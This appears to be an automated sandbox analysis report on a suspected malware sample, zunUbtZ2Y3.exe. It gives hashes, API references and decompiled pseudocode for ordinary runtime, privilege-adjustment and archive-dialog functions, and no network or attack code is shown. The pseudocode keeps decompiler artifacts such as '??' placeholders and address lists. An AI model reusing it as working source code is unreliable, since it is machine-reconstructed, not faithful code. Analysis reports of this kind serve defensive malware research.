Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: eab6e8a316d60ed578c429b52d151048f4ae33b7591cf26a405ac10311a0213f
Instruction ID: c23d3188cbc9794c51bb7c1061ebf220a34c12691606933187864b269e806b3f
Opcode Fuzzy Hash: eab6e8a316d60ed578c429b52d151048f4ae33b7591cf26a405ac10311a0213f
Instruction Fuzzy Hash: 7F01887260171A7FFB3116BE6C4CD7F7D6DDAC6A693190129FA04D3244EA698D0192B0

Uniqueness

Uniqueness Score: -1.00%

Function 0137859A, Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0137859A(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x138d6ac; // 0x6
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E01377B1B(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E01379BA9(_t13, _t17, __eflags,  *0x138d6ac, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E01378388(_t13, _t16, 0x13b0418);
							E01377A50(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E01377A50();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E01379B53(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0137859a
0x013785a5
0x013785a7
0x013785a9
0x013785ae
0x013785b1
0x013785bf
0x013785cb
0x013785ce
0x013785d1
0x013785e3
0x013785e8
0x013785ea
0x013785f5
0x013785fb
0x01378603
0x01378605
0x00000000
0x00000000
0x00000000
0x00000000
0x013785ec
0x013785ec
0x00000000
0x013785ec
0x013785d3
0x013785d3
0x013785d4
0x013785d4
0x01378607
0x01378608
0x01378608
0x013785b3
0x013785b9
0x013785bd
0x01378610
0x01378611
0x01378617
0x00000000
0x00000000
0x00000000
0x013785bd
0x0137861e

APIs

GetLastError.KERNEL32(?,?,?,01377ED1,01377B6D,?,01378544,00000001,00000364,?,01372E0F,?,?,013900E0), ref: 0137859F
_free.LIBCMT ref: 013785D4
_free.LIBCMT ref: 013785FB
SetLastError.KERNEL32(00000000,?,013900E0), ref: 01378608
SetLastError.KERNEL32(00000000,?,013900E0), ref: 01378611

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: d9ee4993aa9dac2805b3ddc03c5b833e20800831e19e996c2d021477d09f5988
Instruction ID: 0b277d4ad45ffceb78ab464b2b29c120a5d6232316ecc24ef1b026fd30e48408
Opcode Fuzzy Hash: d9ee4993aa9dac2805b3ddc03c5b833e20800831e19e996c2d021477d09f5988
Instruction Fuzzy Hash: 8101F9762007017BE332377C5C8CA3F356E9BD127DB310164F605A3246EF2D89018264

Uniqueness

Uniqueness Score: -1.00%

Function 013603C7, Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E013603C7(void* __ecx) {
				intOrPtr _v16;
				void* __ebp;
				int _t16;
				void** _t21;
				long* _t25;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t22 = __ecx;
				_push(0xffffffff);
				_push(E01381161);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t31;
				_t28 = __ecx;
				E01360697(__ecx);
				_t25 = 0;
				 *((char*)(__ecx + 0x314)) = 1;
				ReleaseSemaphore( *(__ecx + 0x318), 0x40, 0);
				if( *((intOrPtr*)(_t28 + 0x104)) > 0) {
					_t21 = _t28 + 4;
					do {
						E013604BA(_t22, _t30,  *_t21);
						CloseHandle( *_t21);
						_t25 = _t25 + 1;
						_t21 =  &(_t21[1]);
					} while (_t25 <  *((intOrPtr*)(_t28 + 0x104)));
				}
				DeleteCriticalSection(_t28 + 0x320);
				CloseHandle( *(_t28 + 0x318));
				_t16 = CloseHandle( *(_t28 + 0x31c));
				 *[fs:0x0] = _v16;
				return _t16;
			}

0x013603c7
0x013603d0
0x013603d2
0x013603d7
0x013603d8
0x013603e2
0x013603e4
0x013603e9
0x013603eb
0x013603fb
0x01360407
0x01360409
0x0136040c
0x0136040e
0x01360415
0x0136041b
0x0136041c
0x0136041f
0x0136040c
0x0136042e
0x0136043a
0x01360446
0x01360451
0x0136045c

APIs

Part of subcall function 01360697: ResetEvent.KERNEL32(?), ref: 013606A9
Part of subcall function 01360697: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 013606BD

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 013603FB
CloseHandle.KERNEL32(?,?), ref: 01360415
DeleteCriticalSection.KERNEL32(?), ref: 0136042E
CloseHandle.KERNEL32(?), ref: 0136043A
CloseHandle.KERNEL32(?), ref: 01360446

Part of subcall function 013604BA: WaitForSingleObject.KERNEL32(?,000000FF,013605D9,?,?,0136064E,?,?,?,?,?,01360638), ref: 013604C0
Part of subcall function 013604BA: GetLastError.KERNEL32(?,?,0136064E,?,?,?,?,?,01360638), ref: 013604CC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: fe9d8f8360ad251269c15df6db59a58a3fbf03cf32bd1fffdcd956f46de99593
Instruction ID: 4e014157e26fa3d282541e511e3a3ca6627bb7783db765ec09481618fadbd515
Opcode Fuzzy Hash: fe9d8f8360ad251269c15df6db59a58a3fbf03cf32bd1fffdcd956f46de99593
Instruction Fuzzy Hash: 8801B1B2000B04EFC7369B69DC85BCBBBEEFB48710F004519F15A92158CB756945DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0137B461, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0137B461(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x138dd50; // 0x138dd44
					if(_t23 != 0) {
						E01377A50(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x138dd54; // 0x13b088c
					if(_t24 != 0) {
						E01377A50(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x138dd58; // 0x13b088c
					if(_t25 != 0) {
						E01377A50(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x138dd80; // 0x138dd48
					if(_t26 != 0) {
						E01377A50(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x138dd84; // 0x13b0890
					if(_t27 != 0) {
						return E01377A50(_t6);
					}
				}
				return _t6;
			}

0x0137b467
0x0137b46c
0x0137b470
0x0137b476
0x0137b479
0x0137b47e
0x0137b482
0x0137b488
0x0137b48b
0x0137b490
0x0137b494
0x0137b49a
0x0137b49d
0x0137b4a2
0x0137b4a6
0x0137b4ac
0x0137b4af
0x0137b4b4
0x0137b4b5
0x0137b4b8
0x0137b4be
0x00000000
0x0137b4c6
0x0137b4be
0x0137b4c9

APIs

_free.LIBCMT ref: 0137B479

Part of subcall function 01377A50: RtlFreeHeap.NTDLL(00000000,00000000,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?), ref: 01377A66
Part of subcall function 01377A50: GetLastError.KERNEL32(?,?,0137B4F8,?,00000000,?,00000000,?,0137B51F,?,00000007,?,?,0137B91C,?,?), ref: 01377A78

_free.LIBCMT ref: 0137B48B
_free.LIBCMT ref: 0137B49D
_free.LIBCMT ref: 0137B4AF
_free.LIBCMT ref: 0137B4C1

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a7e6e90da54936aaee8d87a290f043310e0c6179c4c50f7fcee236d7036546fe
Instruction ID: 57e37dbf015dd45cc581652ab9eb0a12f6a14f6a2b84db3e906f71c867691930
Opcode Fuzzy Hash: a7e6e90da54936aaee8d87a290f043310e0c6179c4c50f7fcee236d7036546fe
Instruction Fuzzy Hash: 58F0FF32504200ABE670EFECE489C1ABBFDBE10758B545815F14DE7648DB28F9808B54

Uniqueness

Uniqueness Score: -1.00%

Function 01376C73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E01376C73(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E0137A7B3(_t52);
					GetModuleFileNameA(0, 0x13b02b8, 0x104);
					_t49 =  *0x13b0868; // 0xe53310
					 *0x13b0870 = 0x13b02b8;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x13b02b8;
					}
					_v8 = 0;
					_v16 = 0;
					E01376D97(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E01376F0C(_v8, _v16, 1);
					if(_t64 != 0) {
						E01376D97(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E0137A2CE(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x13b085c = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x13b0860 = _t59;
									L16:
									E01377A50(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x13b085c = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x13b0860 = _t43;
						goto L10;
					} else {
						_t44 = E01377ECC();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E01377A50(_t64);
						return _t50;
					}
				} else {
					_t45 = E01377ECC();
					_t65 = 0x16;
					 *_t45 = _t65;
					E01377DAB();
					return _t65;
				}
			}

0x01376c73
0x01376c80
0x01376ca0
0x01376cb3
0x01376cb9
0x01376cbf
0x01376cc7
0x01376cce
0x01376cce
0x01376cd3
0x01376cda
0x01376ce1
0x01376cf3
0x01376cfa
0x01376d19
0x01376d25
0x01376d40
0x01376d43
0x01376d4a
0x01376d50
0x01376d57
0x01376d5a
0x01376d5c
0x01376d60
0x01376d6a
0x01376d6a
0x01376d6c
0x01376d72
0x01376d75
0x01376d77
0x01376d7d
0x01376d7e
0x01376d84
0x00000000
0x00000000
0x00000000
0x00000000
0x01376d62
0x01376d62
0x01376d62
0x01376d65
0x01376d66
0x00000000
0x01376d62
0x01376d52
0x00000000
0x01376d52
0x01376d2b
0x01376d30
0x01376d32
0x01376d34
0x00000000
0x01376cfc
0x01376cfc
0x01376d01
0x01376d03
0x01376d04
0x01376d39
0x01376d39
0x01376d87
0x01376d88
0x00000000
0x01376d91
0x01376c88
0x01376c88
0x01376c8f
0x01376c90
0x01376c92
0x00000000
0x01376c97

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\zunUbtZ2Y3.exe,00000104), ref: 01376CB3
_free.LIBCMT ref: 01376D7E
_free.LIBCMT ref: 01376D88

Strings

C:\Users\user\Desktop\zunUbtZ2Y3.exe, xrefs: 01376CAA, 01376CB1, 01376CE0, 01376D18

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\zunUbtZ2Y3.exe
API String ID: 2506810119-3490555448
Opcode ID: 4724080bc9ebfddbae833deb005e3a340e49562d95cdeab6a61fe90bbce3481b
Instruction ID: da6b7a47b72df082af4813ecb9e1e42849d1e15a0c4b65eef4e77faf74a44b70
Opcode Fuzzy Hash: 4724080bc9ebfddbae833deb005e3a340e49562d95cdeab6a61fe90bbce3481b
Instruction Fuzzy Hash: 5F318FB1A00719AFEB35EF9DD88599FBFFCEB95318F104066E90497200E6749A80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013573B9, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E013573B9(void* __ebx, void* __edx, void* __esi) {
				void* _t26;
				long _t32;
				void* _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t52;
				void* _t57;
				void* _t58;
				void* _t61;

				_t57 = __esi;
				_t52 = __edx;
				_t42 = __ebx;
				E0136D870(E01381321, _t61);
				E0136D940();
				 *((intOrPtr*)(_t61 - 0x20)) = 0;
				 *((intOrPtr*)(_t61 - 0x1c)) = 0;
				 *((intOrPtr*)(_t61 - 0x18)) = 0;
				 *((intOrPtr*)(_t61 - 0x14)) = 0;
				 *((char*)(_t61 - 0x10)) = 0;
				_t54 =  *((intOrPtr*)(_t61 + 8));
				_push(0);
				_push(0);
				 *((intOrPtr*)(_t61 - 4)) = 0;
				_push(_t61 - 0x20);
				if(E0135399D( *((intOrPtr*)(_t61 + 8)), _t52) != 0) {
					if( *0x1390042 == 0) {
						if(E01357A15(L"SeSecurityPrivilege") != 0) {
							 *0x1390041 = 1;
						}
						E01357A15(L"SeRestorePrivilege");
						 *0x1390042 = 1;
					}
					_push(_t57);
					_t58 = 7;
					if( *0x1390041 != 0) {
						_t58 = 0xf;
					}
					_push(_t42);
					_t43 =  *((intOrPtr*)(_t61 - 0x20));
					_push(_t43);
					_push(_t58);
					_push( *((intOrPtr*)(_t61 + 0xc)));
					if( *0x138de80() == 0) {
						if(E0135B32C( *((intOrPtr*)(_t61 + 0xc)), _t61 - 0x106c, 0x800) == 0) {
							L10:
							E01356BF5(_t70, 0x52, _t54 + 0x1e,  *((intOrPtr*)(_t61 + 0xc)));
							_t32 = GetLastError();
							E0136E214(_t32);
							if(_t32 == 5 && E0135FC98() == 0) {
								E01351567(_t61 - 0x6c, 0x18);
								E01360A9F(_t61 - 0x6c);
							}
							E01356E03(0x13900e0, 1);
						} else {
							_t39 =  *0x138de80(_t61 - 0x106c, _t58, _t43);
							_t70 = _t39;
							if(_t39 == 0) {
								goto L10;
							}
						}
					}
				}
				_t26 = E0135159C(_t61 - 0x20);
				 *[fs:0x0] =  *((intOrPtr*)(_t61 - 0xc));
				return _t26;
			}

0x013573b9
0x013573b9
0x013573b9
0x013573be
0x013573c8
0x013573d0
0x013573d3
0x013573d6
0x013573d9
0x013573dc
0x013573df
0x013573e4
0x013573e5
0x013573e6
0x013573ec
0x013573f4
0x01357401
0x0135740f
0x01357411
0x01357411
0x0135741d
0x01357422
0x01357422
0x01357430
0x01357433
0x01357434
0x01357438
0x01357438
0x01357439
0x0135743a
0x0135743d
0x0135743e
0x0135743f
0x0135744a
0x01357462
0x01357477
0x01357480
0x01357485
0x01357494
0x0135749c
0x013574ac
0x013574b4
0x013574b4
0x013574bd
0x01357464
0x0135746d
0x01357473
0x01357475
0x00000000
0x00000000
0x01357475
0x01357462
0x013574c3
0x013574c7
0x013574d0
0x013574da

APIs

__EH_prolog.LIBCMT ref: 013573BE

Part of subcall function 0135399D: __EH_prolog.LIBCMT ref: 013539A2

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 01357485

Part of subcall function 01357A15: GetCurrentProcess.KERNEL32(00000020,?), ref: 01357A24
Part of subcall function 01357A15: GetLastError.KERNEL32 ref: 01357A6A
Part of subcall function 01357A15: CloseHandle.KERNEL32(?), ref: 01357A79

Strings

SeSecurityPrivilege, xrefs: 01357403
SeRestorePrivilege, xrefs: 01357418

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 23a2565c55637b127498c6049817751674daa1e239418b860b66d1b11f7b64df
Instruction ID: 739eaa3a89c406cfa584e3ac04e75698bc261027373183103bcf174510e24a64
Opcode Fuzzy Hash: 23a2565c55637b127498c6049817751674daa1e239418b860b66d1b11f7b64df
Instruction Fuzzy Hash: 3431A1B1A00245AAEF61EBACDC44FEEBF7DAB14B1CF408059EC48B7281D7754A44C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01369B8D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E01369B8D(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t16;
				void* _t22;
				WCHAR** _t24;
				void* _t25;
				intOrPtr _t27;
				void* _t28;
				struct HWND__* _t30;
				signed short _t31;

				_t24 = _a16;
				_t31 = _a12;
				_t30 = _a4;
				_t27 = _a8;
				if(E013512D7(__edx, _t30, _t27, _t31, _t24, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t28 = _t27 - 0x110;
				if(_t28 == 0) {
					_push( *_t24);
					 *0x13afe38 = _t24;
					L13:
					SetDlgItemTextW(_t30, 0x66, ??);
					goto L14;
				}
				if(_t28 != 1) {
					L6:
					return 0;
				}
				_t12 = (_t31 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t30, 0x66,  *( *0x13afe38), ( *0x13afe38)[1]);
					_push(1);
					L10:
					EndDialog(_t30, ??);
					goto L14;
				}
				_t16 = _t12 - 1;
				if(_t16 == 0) {
					_push(0);
					goto L10;
				}
				if(_t16 == 0x65) {
					_push(0);
					_push(E0135B943(__eflags,  *( *0x13afe38)));
					_push( *( *0x13afe38));
					_push(E0135DA42(_t25, 0x8e));
					_t22 = E013510B0(_t30);
					__eflags = _t22;
					if(_t22 == 0) {
						goto L14;
					}
					_push( *( *0x13afe38));
					goto L13;
				}
				goto L6;
			}

0x01369b8e
0x01369b93
0x01369b98
0x01369b9d
0x01369bb5
0x01369c45
0x01369c47
0x00000000
0x01369c47
0x01369bbb
0x01369bc1
0x01369c34
0x01369c36
0x01369c3c
0x01369c3f
0x00000000
0x01369c3f
0x01369bc6
0x01369bda
0x00000000
0x01369bda
0x01369bcb
0x01369bce
0x01369c2a
0x01369c30
0x01369c14
0x01369c15
0x00000000
0x01369c15
0x01369bd0
0x01369bd3
0x01369c12
0x00000000
0x01369c12
0x01369bd8
0x01369be3
0x01369bec
0x01369bf2
0x01369bfe
0x01369c00
0x01369c05
0x01369c07
0x00000000
0x00000000
0x01369c0e
0x00000000
0x01369c0e
0x00000000

APIs

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

EndDialog.USER32(?,00000001), ref: 01369C15
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 01369C2A
SetDlgItemTextW.USER32(?,00000066,?), ref: 01369C3F

Strings

ASKNEXTVOL, xrefs: 01369BA5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 4bf69028a7a3cc46d1a3dc489542dc76fbdb490c67bdec0f1cbdb7257360cc56
Instruction ID: ae8700ed65638203aeb1be057669e65da91c60141219de3cc9ae05e7d404e262
Opcode Fuzzy Hash: 4bf69028a7a3cc46d1a3dc489542dc76fbdb490c67bdec0f1cbdb7257360cc56
Instruction Fuzzy Hash: EE119333344255AFEB21AFACDD48F6A7BADEB4AB0CF444010F7059B19DC77299068725

Uniqueness

Uniqueness Score: -1.00%

Function 0135CE52, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0135CE52(void* __ebx, void* __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				signed int* _t30;
				void* _t31;
				void* _t34;
				void* _t42;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t50;

				_t44 = __edi;
				_t43 = __ecx;
				_t42 = __ebx;
				_t48 = _t49 - 0x64;
				_t50 = _t49 - 0xac;
				_t46 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x2c)) > 0) {
					 *((intOrPtr*)(_t48 + 0x5c)) =  *((intOrPtr*)(_t48 + 0x6c));
					 *((char*)(_t48 + 8)) = 0;
					 *((intOrPtr*)(_t48 + 0x60)) = _t48 + 8;
					if( *((intOrPtr*)(_t48 + 0x74)) != 0) {
						E013611FA( *((intOrPtr*)(_t48 + 0x74)), _t48 - 0x48, 0x50);
					}
					_t26 =  *((intOrPtr*)(_t48 + 0x70));
					if(_t26 == 0) {
						E0135FA56(_t48 + 8, "s", 0x50);
					} else {
						_t34 = _t26 - 1;
						if(_t34 == 0) {
							_push(_t48 - 0x48);
							_push("$%s");
							goto L9;
						} else {
							if(_t34 == 1) {
								_push(_t48 - 0x48);
								_push("@%s");
								L9:
								_push(0x50);
								_push(_t48 + 8);
								E0135D9DC();
								_t50 = _t50 + 0x10;
							}
						}
					}
					_t16 = _t46 + 0x18; // 0x63
					_t18 = _t46 + 0x14; // 0xe50df8
					_t30 = E01374E71(_t42, _t43, _t44, _t46, _t48 + 0x58,  *_t18,  *_t16, 4, E0135CC88);
					if(_t30 == 0) {
						goto L1;
					} else {
						_t20 = 0x138d158 +  *_t30 * 0xc; // 0x13833e0
						E013754E0( *((intOrPtr*)(_t48 + 0x78)),  *_t20,  *((intOrPtr*)(_t48 + 0x7c)));
						_t31 = 1;
					}
				} else {
					L1:
					_t31 = 0;
				}
				return _t31;
			}

0x0135ce52
0x0135ce52
0x0135ce52
0x0135ce53
0x0135ce57
0x0135ce5e
0x0135ce64
0x0135ce74
0x0135ce7a
0x0135ce7e
0x0135ce81
0x0135ce8c
0x0135ce8c
0x0135ce94
0x0135ce97
0x0135ced2
0x0135ce99
0x0135ce99
0x0135ce9c
0x0135ceb1
0x0135ceb2
0x00000000
0x0135ce9e
0x0135cea1
0x0135cea6
0x0135cea7
0x0135ceb7
0x0135ceba
0x0135cebc
0x0135cebd
0x0135cec2
0x0135cec2
0x0135cea1
0x0135ce9c
0x0135cede
0x0135cee4
0x0135cee8
0x0135cef2
0x00000000
0x0135cef8
0x0135cefe
0x0135cf07
0x0135cf0f
0x0135cf0f
0x0135ce66
0x0135ce66
0x0135ce66
0x0135ce66
0x0135cf16

APIs

__fprintf_l.LIBCMT ref: 0135CEBD
_strncpy.LIBCMT ref: 0135CF07

Strings

@%s, xrefs: 0135CEA7
$%s, xrefs: 0135CEB2

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 1482d8d60de43415a1b21bdcb4cc1996e902585d1aa1edda6b97f2efd6b609d2
Instruction ID: bc3804ec795a5cffc56d72ef4435cf97ccc1d7705415713a40716316f176989d
Opcode Fuzzy Hash: 1482d8d60de43415a1b21bdcb4cc1996e902585d1aa1edda6b97f2efd6b609d2
Instruction Fuzzy Hash: 20214972440309AAEB20DFA8CC05FEA7BACAB14B0DF004016FE1896661E675D6599BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0136A0B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0136A0B0(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* __ebx;
				void* _t15;
				signed short _t24;
				struct HWND__* _t28;
				intOrPtr _t29;
				void* _t30;

				_t24 = _a12;
				_t29 = _a8;
				_t28 = _a4;
				if(E013512D7(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x67, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x66,  &_v260, 0x80);
					E0135E90C(_t24, 0x13a5c00,  &_v260);
					E0135E957( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0136a0ba
0x0136a0be
0x0136a0c2
0x0136a0db
0x0136a14a
0x00000000
0x0136a14c
0x0136a0dd
0x0136a0e3
0x0136a144
0x00000000
0x0136a144
0x0136a0e8
0x0136a0f7
0x00000000
0x0136a0f7
0x0136a0ed
0x0136a0f0
0x0136a116
0x0136a128
0x0136a135
0x0136a13a
0x0136a0fd
0x0136a0fe
0x00000000
0x0136a0fe
0x0136a0f5
0x0136a0fb
0x00000000
0x0136a0fb
0x00000000

